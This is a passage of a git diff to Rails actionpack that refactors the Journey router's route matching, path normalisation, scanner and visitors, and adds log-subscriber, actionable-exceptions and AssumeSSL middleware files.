-        required_keys = path.required_names
-
-        required_keys.each do |k|
+        path.required_names.each do |k|
           return -1 unless supplied_keys.include?(k)
         end
 
-        score = 0
-        path.names.each do |k|
-          score += 1 if supplied_keys.include?(k)
-        end
-
-        score + (required_defaults.length * 2)
+        (required_defaults.length * 2) + path.names.count { |k| supplied_keys.include?(k) }
       end
 
       def parts
@@ -143,7 +159,7 @@ def required_defaults
       end
 
       def glob?
-        !path.spec.grep(Nodes::Star).empty?
+        path.ast.glob?
       end
 
       def dispatcher?
@@ -151,21 +167,23 @@ def dispatcher?
       end
 
       def matches?(request)
-        match_verb(request) &&
-        constraints.all? { |method, value|
-          case value
-          when Regexp, String
-            value === request.send(method).to_s
-          when Array
-            value.include?(request.send(method))
-          when TrueClass
-            request.send(method).present?
-          when FalseClass
-            request.send(method).blank?
-          else
-            value === request.send(method)
-          end
-        }
+        @request_method_match.call(request) && (
+          constraints.empty? ||
+          constraints.all? { |method, value|
+            case value
+            when Regexp, String
+              value === request.send(method).to_s
+            when Array
+              value.include?(request.send(method))
+            when TrueClass
+              request.send(method).present?
+            when FalseClass
+              request.send(method).blank?
+            else
+              value === request.send(method)
+            end
+          }
+        )
       end
 
       def ip
@@ -173,21 +191,12 @@ def ip
       end
 
       def requires_matching_verb?
-        !@request_method_match.all? { |x| x == VerbMatchers::All }
+        @request_method_match != VerbMatchers::All
       end
 
       def verb
-        verbs.join("|")
+        @request_method_match.verb
       end
-
-      private
-        def verbs
-          @request_method_match.map(&:verb)
-        end
-
-        def match_verb(request)
-          @request_method_match.any? { |m| m.call request }
-        end
     end
   end
   # :startdoc:
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
index d55e1399e4ebc..fc8ffd0f3a1ae 100644
--- a/actionpack/lib/action_dispatch/journey/router.rb
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -1,21 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "cgi/escape"
+require "cgi/util" if RUBY_VERSION < "3.5"
 require "action_dispatch/journey/router/utils"
 require "action_dispatch/journey/routes"
 require "action_dispatch/journey/formatter"
-
-before = $-w
-$-w = false
 require "action_dispatch/journey/parser"
-$-w = before
-
 require "action_dispatch/journey/route"
 require "action_dispatch/journey/path/pattern"
 
 module ActionDispatch
   module Journey # :nodoc:
     class Router # :nodoc:
-      class RoutingError < ::StandardError # :nodoc:
-      end
-
       attr_accessor :routes
 
       def initialize(routes)
@@ -23,71 +21,85 @@ def initialize(routes)
       end
 
       def eager_load!
-        # Eagerly trigger the simulator's initialization so
-        # it doesn't happen during a request cycle.
+        # Eagerly trigger the simulator's initialization so it doesn't happen during a
+        # request cycle.
         simulator
         nil
       end
 
       def serve(req)
-        find_routes(req).each do |match, parameters, route|
-          set_params  = req.path_parameters
-          path_info   = req.path_info
-          script_name = req.script_name
-
-          unless route.path.anchored
-            req.script_name = (script_name.to_s + match.to_s).chomp("/")
-            req.path_info = match.post_match
-            req.path_info = "/" + req.path_info unless req.path_info.start_with? "/"
-          end
-
-          req.path_parameters = set_params.merge parameters
+        recognize(req) do |route, parameters|
+          req.path_parameters = parameters
+          req.route = route
 
-          status, headers, body = route.app.serve(req)
-
-          if "pass" == headers["X-Cascade"]
-            req.script_name     = script_name
-            req.path_info       = path_info
-            req.path_parameters = set_params
-            next
-          end
+          _, headers, _ = response = route.app.serve(req)
 
-          return [status, headers, body]
+          return response unless headers[Constants::X_CASCADE] == "pass"
         end
 
-        return [404, { "X-Cascade" => "pass" }, ["Not Found"]]
+        [404, { Constants::X_CASCADE => "pass" }, ["Not Found"]]
       end
 
-      def recognize(rails_req)
-        find_routes(rails_req).each do |match, parameters, route|
-          unless route.path.anchored
-            rails_req.script_name = match.to_s
-            rails_req.path_info   = match.post_match.sub(/^([^\/])/, '/\1')
-          end
+      def recognize(req, &block)
+        req_params  = req.path_parameters
+        path_info   = req.path_info
+        script_name = req.script_name
 
-          yield(route, parameters)
-        end
-      end
+        routes = filter_routes(path_info)
 
-      def visualizer
-        tt     = GTG::Builder.new(ast).transition_table
-        groups = partitioned_routes.first.map(&:ast).group_by(&:to_s)
-        asts   = groups.values.map(&:first)
-        tt.visualizer(asts)
-      end
+        custom_routes.each { |r|
+          routes << r if r.path.match?(path_info)
+        }
 
-      private
+        if req.head?
+          routes = match_head_routes(routes, req)
+        else
+          routes.select! { |r| r.matches?(req) }
+        end
 
-        def partitioned_routes
-          routes.partition { |r|
-            r.path.anchored && r.ast.grep(Nodes::Symbol).all? { |n| n.default_regexp?  }
-          }
+        if routes.size > 1
+          routes.sort! do |a, b|
+            a.precedence <=> b.precedence
+          end
         end
 
-        def ast
-          routes.ast
+        routes.each do |r|
+          match_data = r.path.match(path_info)
+
+          path_parameters = req_params.merge r.defaults
+
+          index = 1
+          match_data.names.each do |name|
+            if val = match_data[index]
+              val = if val.include?("%")
+                CGI.unescapeURIComponent(val)
+              else
+                val
+              end
+              val.force_encoding(::Encoding::UTF_8)
+              path_parameters[name.to_sym] = val
+            end
+            index += 1
+          end
+
+          if r.path.anchored
+            yield(r, path_parameters)
+          else
+            req.script_name = (script_name.to_s + match_data.to_s).chomp("/")
+            req.path_info = match_data.post_match
+            req.path_info = "/" + req.path_info unless req.path_info.start_with? "/"
+
+            yield(r, path_parameters)
+
+            req.script_name     = script_name
+            req.path_info       = path_info
+          end
+
+          req.path_parameters = req_params
         end
+      end
 
+      private
         def simulator
           routes.simulator
         end
@@ -97,53 +109,21 @@ def custom_routes
         end
 
         def filter_routes(path)
-          return [] unless ast
           simulator.memos(path) { [] }
         end
 
-        def find_routes(req)
-          routes = filter_routes(req.path_info).concat custom_routes.find_all { |r|
-            r.path.match(req.path_info)
-          }
-
-          routes =
-            if req.head?
-              match_head_routes(routes, req)
-            else
-              match_routes(routes, req)
-            end
-
-          routes.sort_by!(&:precedence)
-
-          routes.map! { |r|
-            match_data = r.path.match(req.path_info)
-            path_parameters = r.defaults.dup
-            match_data.names.zip(match_data.captures) { |name, val|
-              path_parameters[name.to_sym] = Utils.unescape_uri(val) if val
-            }
-            [match_data, path_parameters, r]
-          }
-        end
-
         def match_head_routes(routes, req)
-          verb_specific_routes = routes.select(&:requires_matching_verb?)
-          head_routes = match_routes(verb_specific_routes, req)
-
-          if head_routes.empty?
-            begin
-              req.request_method = "GET"
-              match_routes(routes, req)
-            ensure
-              req.request_method = "HEAD"
-            end
-          else
-            head_routes
+          head_routes = routes.select { |r| r.requires_matching_verb? && r.matches?(req) }
+          return head_routes unless head_routes.empty?
+
+          begin
+            req.request_method = "GET"
+            routes.select! { |r| r.matches?(req) }
+            routes
+          ensure
+            req.request_method = "HEAD"
           end
         end
-
-        def match_routes(routes, req)
-          routes.select { |r| r.matches?(req) }
-        end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
index d6416423383c7..0e99bc6c561df 100644
--- a/actionpack/lib/action_dispatch/journey/router/utils.rb
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -1,45 +1,60 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Journey # :nodoc:
     class Router # :nodoc:
       class Utils # :nodoc:
         # Normalizes URI path.
         #
-        # Strips off trailing slash and ensures there is a leading slash.
-        # Also converts downcase url encoded string to uppercase.
+        # Strips off trailing slash and ensures there is a leading slash. Also converts
+        # downcase URL encoded string to uppercase.
         #
-        #   normalize_path("/foo")  # => "/foo"
-        #   normalize_path("/foo/") # => "/foo"
-        #   normalize_path("foo")   # => "/foo"
-        #   normalize_path("")      # => "/"
-        #   normalize_path("/%ab")  # => "/%AB"
+        #     normalize_path("/foo")  # => "/foo"
+        #     normalize_path("/foo/") # => "/foo"
+        #     normalize_path("foo")   # => "/foo"
+        #     normalize_path("")      # => "/"
+        #     normalize_path("/%ab")  # => "/%AB"
         def self.normalize_path(path)
-          path = "/#{path}"
-          path.squeeze!("/".freeze)
-          path.sub!(%r{/+\Z}, "".freeze)
-          path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
-          path = "/" if path == "".freeze
-          path
+          return "/".dup unless path
+
+          # Fast path for the overwhelming majority of paths that don't need to be normalized
+          if path == "/" || (path.start_with?("/") && !path.end_with?("/") && !path.match?(%r{%|//}))
+            return path.dup
+          end
+
+          # Slow path
+          encoding = path.encoding
+          path = +"/#{path}"
+          path.squeeze!("/")
+
+          unless path == "/"
+            path.delete_suffix!("/")
+            path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
+          end
+
+          path.force_encoding(encoding)
         end
 
-        # URI path and fragment escaping
-        # http://tools.ietf.org/html/rfc3986
+        # URI path and fragment escaping https://tools.ietf.org/html/rfc3986
         class UriEncoder # :nodoc:
-          ENCODE   = "%%%02X".freeze
+          ENCODE   = "%%%02X"
           US_ASCII = Encoding::US_ASCII
           UTF_8    = Encoding::UTF_8
-          EMPTY    = "".force_encoding(US_ASCII).freeze
-          DEC2HEX  = (0..255).to_a.map { |i| ENCODE % i }.map { |s| s.force_encoding(US_ASCII) }
+          EMPTY    = (+"").force_encoding(US_ASCII).freeze
+          DEC2HEX  = (0..255).map { |i| (ENCODE % i).force_encoding(US_ASCII) }
 
-          ALPHA = "a-zA-Z".freeze
-          DIGIT = "0-9".freeze
-          UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
-          SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+          ALPHA = "a-zA-Z"
+          DIGIT = "0-9"
+          UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~"
+          SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;="
 
-          ESCAPED  = /%[a-zA-Z0-9]{2}/.freeze
+          ESCAPED  = /%[a-zA-Z0-9]{2}/
 
-          FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
-          SEGMENT  = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
-          PATH     = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+          FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/?]/
+          SEGMENT  = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/
+          PATH     = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/
 
           def escape_fragment(fragment)
             escape(fragment, FRAGMENT)
@@ -53,17 +68,12 @@ def escape_segment(segment)
             escape(segment, SEGMENT)
           end
 
-          def unescape_uri(uri)
-            encoding = uri.encoding == US_ASCII ? UTF_8 : uri.encoding
-            uri.gsub(ESCAPED) { |match| [match[1, 2].hex].pack("C") }.force_encoding(encoding)
-          end
-
           private
-            def escape(component, pattern) # :doc:
+            def escape(component, pattern)
               component.gsub(pattern) { |unsafe| percent_encode(unsafe) }.force_encoding(US_ASCII)
             end
 
-            def percent_encode(unsafe) # :doc:
+            def percent_encode(unsafe)
               safe = EMPTY.dup
               unsafe.each_byte { |b| safe << DEC2HEX[b] }
               safe
@@ -83,10 +93,6 @@ def self.escape_segment(segment)
         def self.escape_fragment(fragment)
           ENCODER.escape_fragment(fragment.to_s)
         end
-
-        def self.unescape_uri(uri)
-          ENCODER.unescape_uri(uri)
-        end
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb
index f7b009109ea3c..326eb76f0620e 100644
--- a/actionpack/lib/action_dispatch/journey/routes.rb
+++ b/actionpack/lib/action_dispatch/journey/routes.rb
@@ -1,14 +1,18 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Journey # :nodoc:
-    # The Routing table. Contains all routes for a system. Routes can be
-    # added to the table by calling Routes#add_route.
+    # The Routing table. Contains all routes for a system. Routes can be added to
+    # the table by calling Routes#add_route.
     class Routes # :nodoc:
       include Enumerable
 
       attr_reader :routes, :custom_routes, :anchored_routes
 
-      def initialize
-        @routes             = []
+      def initialize(routes = [])
+        @routes             = routes
         @ast                = nil
         @anchored_routes    = []
         @custom_routes      = []
@@ -39,7 +43,7 @@ def clear
       end
 
       def partition_route(route)
-        if route.path.anchored && route.ast.grep(Nodes::Symbol).all?(&:default_regexp?)
+        if route.path.anchored && route.path.requirements_anchored?
           anchored_routes << route
         else
           custom_routes << route
@@ -48,8 +52,8 @@ def partition_route(route)
 
       def ast
         @ast ||= begin
-          asts = anchored_routes.map(&:ast)
-          Nodes::Or.new(asts) unless asts.empty?
+          nodes = anchored_routes.map(&:ast)
+          Nodes::Or.new(nodes)
         end
       end
 
@@ -68,8 +72,14 @@ def add_route(name, mapping)
         route
       end
 
-      private
+      def visualizer
+        tt     = GTG::Builder.new(ast).transition_table
+        groups = anchored_routes.map(&:ast).group_by(&:to_s)
+        asts   = groups.values.map(&:first)
+        tt.visualizer(asts)
+      end
 
+      private
         def clear_cache!
           @ast                = nil
           @simulator          = nil
diff --git a/actionpack/lib/action_dispatch/journey/scanner.rb b/actionpack/lib/action_dispatch/journey/scanner.rb
index 7dbb39b26d3dd..02fc2e11855ea 100644
--- a/actionpack/lib/action_dispatch/journey/scanner.rb
+++ b/actionpack/lib/action_dispatch/journey/scanner.rb
@@ -1,63 +1,74 @@
 # frozen_string_literal: true
+
+# :markup: markdown
+
 require "strscan"
 
 module ActionDispatch
   module Journey # :nodoc:
     class Scanner # :nodoc:
+      STATIC_TOKENS = Array.new(150)
+      STATIC_TOKENS[".".ord] = :DOT
+      STATIC_TOKENS["/".ord] = :SLASH
+      STATIC_TOKENS["(".ord] = :LPAREN
+      STATIC_TOKENS[")".ord] = :RPAREN
+      STATIC_TOKENS["|".ord] = :OR
+      STATIC_TOKENS[":".ord] = :SYMBOL
+      STATIC_TOKENS["*".ord] = :STAR
+      STATIC_TOKENS.freeze
+
+      class Scanner < StringScanner
+        unless method_defined?(:peek_byte) # https://github.com/ruby/strscan/pull/89
+          def peek_byte
+            string.getbyte(pos)
+          end
+        end
+      end
+
       def initialize
-        @ss = nil
+        @scanner = nil
+        @length = nil
       end
 
       def scan_setup(str)
-        @ss = StringScanner.new(str)
+        @scanner = Scanner.new(str)
       end
 
-      def eos?
-        @ss.eos?
-      end
+      def next_token
+        return if @scanner.eos?
 
-      def pos
-        @ss.pos
+        until token = scan || @scanner.eos?; end
+        token
       end
 
-      def pre_match
-        @ss.pre_match
+      def last_string
+        -@scanner.string.byteslice(@scanner.pos - @length, @length)
       end
 
-      def next_token
-        return if @ss.eos?
-
-        until token = scan || @ss.eos?; end
-        token
+      def last_literal
+        last_str = @scanner.string.byteslice(@scanner.pos - @length, @length)
+        last_str.tr! "\\", ""
+        -last_str
       end
 
       private
-
         def scan
+          next_byte = @scanner.peek_byte
           case
-            # /
-          when @ss.skip(/\//)
-            [:SLASH, "/"]
-          when @ss.skip(/\(/)
-            [:LPAREN, "("]
-          when @ss.skip(/\)/)
-            [:RPAREN, ")"]
-          when @ss.skip(/\|/)
-            [:OR, "|"]
-          when @ss.skip(/\./)
-            [:DOT, "."]
-          when text = @ss.scan(/:\w+/)
-            [:SYMBOL, text]
-          when text = @ss.scan(/\*\w+/)
-            [:STAR, text]
-          when text = @ss.scan(/(?:[\w%\-~!$&'*+,;=@]|\\[:()])+/)
-            text.tr! "\\", ""
-            [:LITERAL, text]
-            # any char
-          when text = @ss.scan(/./)
-            [:LITERAL, text]
+          when (token = STATIC_TOKENS[next_byte]) && (token != :SYMBOL || next_byte_is_not_a_token?)
+            @scanner.pos += 1
+            @length = @scanner.skip(/\w+/).to_i + 1 if token == :SYMBOL || token == :STAR
+            token
+          when @length = @scanner.skip(/(?:[\w%\-~!$&'*+,;=@]|\\[:()])+/)
+            :LITERAL
+          when @length = @scanner.skip(/./)
+            :LITERAL
           end
         end
+
+        def next_byte_is_not_a_token?
+          !STATIC_TOKENS[@scanner.string.getbyte(@scanner.pos + 1)]
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
index 1c50192867e90..e1cfc9824608d 100644
--- a/actionpack/lib/action_dispatch/journey/visitors.rb
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   # :stopdoc:
   module Journey
@@ -38,7 +42,7 @@ def evaluate(hash)
         @parameters.each do |index|
           param = parts[index]
           value = hash[param.name]
-          return "".freeze unless value
+          return "" if value.nil?
           parts[index] = param.escape value
         end
 
@@ -57,7 +61,6 @@ def accept(node)
         end
 
         private
-
           def visit(node)
             send(DISPATCH_CACHE[node.type], node)
           end
@@ -125,8 +128,8 @@ def visit_SLASH(n, seed);   terminal(n, seed); end
         def visit_DOT(n, seed);     terminal(n, seed); end
 
         instance_methods(false).each do |pim|
-          next unless pim =~ /^visit_(.*)$/
-          DISPATCH_CACHE[$1.to_sym] = pim
+          next unless pim.start_with?("visit_")
+          DISPATCH_CACHE[pim.name.delete_prefix("visit_").to_sym] = pim
         end
       end
 
@@ -154,7 +157,7 @@ def visit_SYMBOL(n)
         end
       end
 
-      # Loop through the requirements AST
+      # Loop through the requirements AST.
       class Each < FunctionalVisitor # :nodoc:
         def visit(node, block)
           block.call(node)
@@ -164,33 +167,64 @@ def visit(node, block)
         INSTANCE = new
       end
 
-      class String < FunctionalVisitor # :nodoc:
-        private
-
-          def binary(node, seed)
-            visit(node.right, visit(node.left, seed))
-          end
-
-          def nary(node, seed)
+      class String # :nodoc:
+        def accept(node, seed)
+          case node.type
+          when :DOT
+            seed << node.left
+          when :LITERAL
+            seed << node.left
+          when :SYMBOL
+            seed << node.left
+          when :SLASH
+            seed << node.left
+          when :CAT
+            accept(node.right, accept(node.left, seed))
+          when :STAR
+            accept(node.left, seed)
+          when :OR
             last_child = node.children.last
-            node.children.inject(seed) { |s, c|
-              string = visit(c, s)
-              string << "|".freeze unless last_child == c
-              string
-            }
-          end
-
-          def terminal(node, seed)
-            seed + node.left
-          end
-
-          def visit_GROUP(node, seed)
-            visit(node.left, seed << "(".freeze) << ")".freeze
+            node.children.each do |c|
+              accept(c, seed)
+              seed << "|" unless last_child == c
+            end
+            seed
+          when :GROUP
+            accept(node.left, seed << "(") << ")"
+          else
+            raise "Unknown node type: #{node.type}"
           end
+        end
 
-          INSTANCE = new
+        INSTANCE = new
       end
 
+      # class String < FunctionalVisitor # :nodoc:
+      #   private
+      #     def binary(node, seed)
+      #       visit(node.right, visit(node.left, seed))
+      #     end
+      #
+      #     def nary(node, seed)
+      #       last_child = node.children.last
+      #       node.children.inject(seed) { |s, c|
+      #         string = visit(c, s)
+      #         string << "|" unless last_child == c
+      #         string
+      #       }
+      #     end
+      #
+      #     def terminal(node, seed)
+      #       seed + node.left
+      #     end
+      #
+      #     def visit_GROUP(node, seed)
+      #       visit(node.left, seed.dup << "(") << ")"
+      #     end
+      #
+      #     INSTANCE = new
+      # end
+
       class Dot < FunctionalVisitor # :nodoc:
         def initialize
           @nodes = []
@@ -212,7 +246,6 @@ def accept(node, seed = [[], []])
         end
 
         private
-
           def binary(node, seed)
             seed.last.concat node.children.map { |c|
               "#{node.object_id} -> #{c.object_id};"
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.js b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
index d9bcaef928016..caacd60c0ad12 100644
--- a/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
@@ -68,7 +68,7 @@ function highlight_state(index, color) {
 }
 
 function highlight_finish(index) {
-  svg_nodes[index].select('polygon')
+  svg_nodes[index].select('ellipse')
     .style("fill", "while")
     .transition().duration(500)
     .style("fill", "blue");
@@ -76,54 +76,77 @@ function highlight_finish(index) {
 
 function match(input) {
   reset_graph();
-  var table         = tt();
-  var states        = [0];
-  var regexp_states = table['regexp_states'];
-  var string_states = table['string_states'];
-  var accepting     = table['accepting'];
+  var table           = tt();
+  var states          = [[0, null]];
+  var regexp_states   = table['regexp_states'];
+  var string_states   = table['string_states'];
+  var stdparam_states = table['stdparam_states'];
+  var accepting       = table['accepting'];
+  var default_re      = new RegExp("^[^.\/?]+$");
+  var start_index     = 0;
 
   highlight_state(0);
 
   tokenize(input, function(token) {
+    var end_index = start_index + token.length;
+
     var new_states = [];
     for(var key in states) {
-      var state = states[key];
+      var state_parts = states[key];
+      var state = state_parts[0];
+      var previous_start = state_parts[1];
+
+      if(previous_start == null) {
+        if(string_states[state] && string_states[state][token]) {
+          var new_state = string_states[state][token];
+          highlight_edge(state, new_state);
+          highlight_state(new_state);
+          new_states.push([new_state, null]);
+        }
 
-      if(string_states[state] && string_states[state][token]) {
-        var new_state = string_states[state][token];
-        highlight_edge(state, new_state);
-        highlight_state(new_state);
-        new_states.push(new_state);
+        if(stdparam_states[state] && default_re.test(token)) {
+          var new_state = stdparam_states[state];
+          highlight_edge(state, new_state);
+          highlight_state(new_state);
+          new_states.push([new_state, null]);
+        }
       }
 
       if(regexp_states[state]) {
+        var slice_start = previous_start != null ? previous_start : start_index;
+
         for(var key in regexp_states[state]) {
           var re = new RegExp("^" + key + "$");
-          if(re.test(token)) {
+
+          var accumulation = input.slice(slice_start, end_index);
+
+          if(re.test(accumulation)) {
             var new_state = regexp_states[state][key];
             highlight_edge(state, new_state);
             highlight_state(new_state);
-            new_states.push(new_state);
+            new_states.push([new_state, null]);
           }
+
+          // retry the same regexp with the accumulated data either way
+          new_states.push([state, slice_start]);
         }
       }
     }
 
-    if(new_states.length == 0) {
-      return;
-    }
     states = new_states;
+    start_index = end_index;
   });
 
   for(var key in states) {
-    var state = states[key];
+    var state_parts = states[key];
+    var state = state_parts[0];
+    var slice_start = state_parts[1];
+
+    // we must ignore ones that are still accepting more data
+    if (slice_start != null) continue;
+
     if(accepting[state]) {
-      for(var mkey in svg_edges[state]) {
-        if(!regexp_states[mkey] && !string_states[mkey]) {
-          highlight_edge(state, mkey);
-          highlight_finish(mkey);
-        }
-      }
+      highlight_finish(state);
     } else {
       highlight_state(state, "red");
     }
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
index 9b28a652009e5..40d3073f95d38 100644
--- a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
+++ b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
@@ -8,7 +8,7 @@
         <%= style %>
       <% end %>
     </style>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.8/d3.min.js" type="text/javascript"></script>
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.8/d3.min.js"></script>
   </head>
   <body>
     <div id="wrapper">
diff --git a/actionpack/lib/action_dispatch/log_subscriber.rb b/actionpack/lib/action_dispatch/log_subscriber.rb
new file mode 100644
index 0000000000000..94161c9563214
--- /dev/null
+++ b/actionpack/lib/action_dispatch/log_subscriber.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
+    class_attribute :backtrace_cleaner, default: ActiveSupport::BacktraceCleaner.new
+
+    self.namespace = "action_dispatch"
+
+    def redirect(event)
+      payload = event[:payload]
+
+      info { "Redirected to #{payload[:location]}" }
+
+      if ActionDispatch.verbose_redirect_logs
+        info { "↳ #{payload[:source_location]}" }
+      end
+
+      info do
+        status = payload[:status]
+        status_name = payload[:status_name]
+
+        message = +"Completed #{status} #{status_name} in #{payload[:duration_ms].round}ms"
+        message << "\n\n" if defined?(Rails.env) && Rails.env.development?
+
+        message
+      end
+    end
+    event_log_level :redirect, :info
+
+    def self.default_logger
+      ActionController::Base.logger
+    end
+  end
+end
+
+ActiveSupport.event_reporter.subscribe(
+  ActionDispatch::LogSubscriber.new, &ActionDispatch::LogSubscriber.subscription_filter
+)
diff --git a/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb b/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb
new file mode 100644
index 0000000000000..03dabc7337543
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "uri"
+require "active_support/actionable_error"
+
+module ActionDispatch
+  class ActionableExceptions # :nodoc:
+    cattr_accessor :endpoint, default: "/rails/actions"
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      request = ActionDispatch::Request.new(env)
+      return @app.call(env) unless actionable_request?(request)
+
+      ActiveSupport::ActionableError.dispatch(request.params[:error].to_s.safe_constantize, request.params[:action])
+
+      redirect_to request.params[:location]
+    end
+
+    private
+      def actionable_request?(request)
+        request.get_header("action_dispatch.show_detailed_exceptions") && request.post? && request.path == endpoint
+      end
+
+      def redirect_to(location)
+        uri = URI.parse location
+
+        if uri.relative? || uri.scheme == "http" || uri.scheme == "https"
+          body = ""
+        else
+          return [400, { Rack::CONTENT_TYPE => "text/plain; charset=utf-8" }, ["Invalid redirection URI"]]
+        end
+
+        [302, {
+          Rack::CONTENT_TYPE => "text/html; charset=#{Response.default_charset}",
+          Rack::CONTENT_LENGTH => body.bytesize.to_s,
+          ActionDispatch::Constants::LOCATION => location,
+        }, [body]]
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/assume_ssl.rb b/actionpack/lib/action_dispatch/middleware/assume_ssl.rb
new file mode 100644
index 0000000000000..3569cc1f911ef
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/assume_ssl.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  # # Action Dispatch AssumeSSL
+  #
+  # When proxying through a load balancer that terminates SSL, the forwarded
+  # request will appear as though it's HTTP instead of HTTPS to the application.
+  # This makes redirects and cookie security target HTTP instead of HTTPS. This
+  # middleware makes the server assume that the proxy already terminated SSL, and
+  # that the request really is HTTPS.
+  class AssumeSSL
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["HTTPS"] = "on"
+      env["HTTP_X_FORWARDED_PORT"] = "443"
+      env["HTTP_X_FORWARDED_PROTO"] = "https"
+      env["rack.url_scheme"] = "https"
+
+      @app.call(env)
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index ff129cf96a30c..e4d2b08352e02 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -1,4 +1,10 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
+  # # Action Dispatch Callbacks
+  #
   # Provides callbacks to be executed before and after dispatching the request.
   class Callbacks
     include ActiveSupport::Callbacks
@@ -22,10 +28,8 @@ def initialize(app)
     def call(env)
       error = nil
       result = run_callbacks :call do
-        begin
-          @app.call(env)
-        rescue => error
-        end
+        @app.call(env)
+      rescue => error
       end
       raise error if error
       result
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index c61cb3fd68e0e..351daf9224167 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/keys"
 require "active_support/key_generator"
 require "active_support/message_verifier"
@@ -5,9 +9,9 @@
 require "rack/utils"
 
 module ActionDispatch
-  class Request
+  module RequestCookieMethods
     def cookie_jar
-      fetch_header("action_dispatch.cookies".freeze) do
+      fetch_header("action_dispatch.cookies") do
         self.cookie_jar = Cookies::CookieJar.build(self, cookies)
       end
     end
@@ -20,11 +24,11 @@ def commit_cookie_jar!
     }
 
     def have_cookie_jar?
-      has_header? "action_dispatch.cookies".freeze
+      has_header? "action_dispatch.cookies"
     end
 
     def cookie_jar=(jar)
-      set_header "action_dispatch.cookies".freeze, jar
+      set_header "action_dispatch.cookies", jar
     end
 
     def key_generator
@@ -43,8 +47,20 @@ def encrypted_signed_cookie_salt
       get_header Cookies::ENCRYPTED_SIGNED_COOKIE_SALT
     end
 
-    def secret_token
-      get_header Cookies::SECRET_TOKEN
+    def authenticated_encrypted_cookie_salt
+      get_header Cookies::AUTHENTICATED_ENCRYPTED_COOKIE_SALT
+    end
+
+    def use_authenticated_cookie_encryption
+      get_header Cookies::USE_AUTHENTICATED_COOKIE_ENCRYPTION
+    end
+
+    def encrypted_cookie_cipher
+      get_header Cookies::ENCRYPTED_COOKIE_CIPHER
+    end
+
+    def signed_cookie_digest
+      get_header Cookies::SIGNED_COOKIE_DIGEST
     end
 
     def secret_key_base
@@ -55,104 +71,143 @@ def cookies_serializer
       get_header Cookies::COOKIES_SERIALIZER
     end
 
+    def cookies_same_site_protection
+      get_header(Cookies::COOKIES_SAME_SITE_PROTECTION)&.call(self)
+    end
+
     def cookies_digest
       get_header Cookies::COOKIES_DIGEST
     end
+
+    def cookies_rotations
+      get_header Cookies::COOKIES_ROTATIONS
+    end
+
+    def use_cookies_with_metadata
+      get_header Cookies::USE_COOKIES_WITH_METADATA
+    end
+
     # :startdoc:
   end
 
-  # \Cookies are read and written through ActionController#cookies.
+  ActiveSupport.on_load(:action_dispatch_request) do
+    include RequestCookieMethods
+  end
+
+  # Read and write data to cookies through ActionController::Cookies#cookies.
   #
-  # The cookies being read are the ones received along with the request, the cookies
-  # being written will be sent out with the response. Reading a cookie does not get
-  # the cookie object itself back, just the value it holds.
+  # When reading cookie data, the data is read from the HTTP request header,
